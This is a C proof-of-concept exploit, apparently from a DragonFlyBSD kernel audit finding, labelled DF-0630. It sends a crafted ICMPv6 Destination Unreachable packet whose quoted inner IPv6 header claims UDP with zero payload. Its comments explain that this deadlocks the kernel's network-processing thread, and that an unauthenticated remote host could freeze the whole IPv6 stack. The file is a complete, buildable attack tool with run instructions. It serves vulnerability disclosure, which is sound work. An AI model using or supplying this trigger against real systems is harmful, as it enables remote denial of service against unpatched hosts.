DragonFlyBSD Kernel Audit
DF-0630 / trigger.c
← back to finding ↓ download raw
/*
 * DF-0630 trigger (in-guest injector).
 *
 * Sends a single crafted ICMPv6 Destination Unreachable (type 1) whose quoted
 * inner IPv6 packet has nh=UDP(17) and plen=0 (zero UDP bytes). When the
 * victim's own icmp6_input processes it, icmp6_notify_error() dispatches
 * udp6_ctlinput() via so_pr_ctlinput() (synchronous lwkt_domsg). udp6_ctlinput
 * hits `return;` at sys/netinet6/udp6_usrreq.c:435 WITHOUT calling
 * lwkt_replymsg(), so the netmsg is never replied and the netisr thread that
 * ran icmp6_input blocks forever in lwkt_waitmsg().
 *
 * Sending to ::1 forces the packet through lo0 -> icmp6_input on cpu0, which
 * domsgs to cpu0 (cpu0_ctlport) and thus SELF-DEADLOCKS cpu0's netisr. After
 * this, any further IPv6 traffic pinned to cpu0 (e.g. `ping6 ::1`) hangs
 * forever. An external attacker would send one such packet per netisr CPU
 * (varied source so RSS spreads them) to freeze the whole stack.
 *
 * NOTE on privilege: a raw ICMPv6 socket needs root IN THE GUEST. This is an
 * artifact of the in-guest injection (the QEMU user-mode net is IPv4-only NAT,
 * so we cannot send IPv6 from the host). The actual vulnerability is remotely
 * triggerable by any unauthenticated host that can deliver an IPv6 packet to a
 * victim address -- the ICMPv6 error is processed purely on its quoted content
 * (icmp6.c:874), no prior UDP traffic or credentials required.
 *
 * Build: cc -o trigger trigger.c
 * Run:   ./trigger ::1 [count]
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv)
{
	const char *dst = (argc > 1) ? argv[1] : "::1";
	int count = (argc > 2) ? atoi(argv[2]) : 1;
	int i;

	int s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (s < 0) {
		perror("socket(AF_INET6,SOCK_RAW,IPPROTO_ICMPV6)");
		return 2;
	}

	struct sockaddr_in6 sa;
	memset(&sa, 0, sizeof(sa));
	sa.sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, dst, &sa.sin6_addr) != 1) {
		fprintf(stderr, "bad dst %s\n", dst);
		return 2;
	}

	/*
	 * Payload we hand to the raw socket (kernel prepends the outer IPv6
	 * header and computes the ICMPv6 checksum):
	 *   [ ICMPv6 DestUnreach, 8 bytes ] [ inner IPv6 hdr, 40 bytes ]
	 * Inner IPv6 header: nh=UDP(17), plen=0 -> zero UDP bytes quoted.
	 *
	 * With outer IPv6 added, m->m_pkthdr.len = 40+8+40 = 88, and
	 * icmp6_notify_error computes eoff = off(40) + 8 + 40 = 88, passed as
	 * ip6c_off. udp6_ctlinput then tests:
	 *     m->m_pkthdr.len (88) < off(88) + sizeof(*uhp)(4)   -> 88 < 92
	 * which is TRUE -> `return;` at udp6_usrreq.c:435 -> no lwkt_replymsg.
	 */
	unsigned char pkt[8 + 40];
	memset(pkt, 0, sizeof(pkt));

	/* ICMPv6 Destination Unreachable */
	pkt[0] = ICMP6_DST_UNREACH;	/* type = 1 */
	pkt[1] = 0;			/* code = 0 (No Route) */
	/* pkt[2..3] cksum: kernel fills via in6_cksum */
	/* pkt[4..7] unused = 0 */

	/* Quoted inner IPv6 header (just data after the ICMPv6 header) */
	struct ip6_hdr *inner = (struct ip6_hdr *)(pkt + 8);
	inner->ip6_vfc = 0x60;		/* version 6, tc=0, fl=0 */
	inner->ip6_nxt  = IPPROTO_UDP;	/* 17 -> routes to udp6_ctlinput */
	inner->ip6_plen = 0;		/* network order 0: NO UDP bytes */
	inner->ip6_hlim = 64;
	inet_pton(AF_INET6, "::1", &inner->ip6_src);
	inet_pton(AF_INET6, dst, &inner->ip6_dst);

	for (i = 0; i < count; i++) {
		ssize_t r = sendto(s, pkt, sizeof(pkt), 0,
				   (struct sockaddr *)&sa, sizeof(sa));
		if (r < 0) {
			fprintf(stderr, "sendto #%d: %s\n", i + 1,
				strerror(errno));
		} else {
			printf("sent #%d: %zd bytes (ICMPv6 type1 + 40B inner "
			       "IPv6 nh=UDP plen=0) -> %s\n", i + 1, r, dst);
		}
	}
	close(s);
	return 0;
}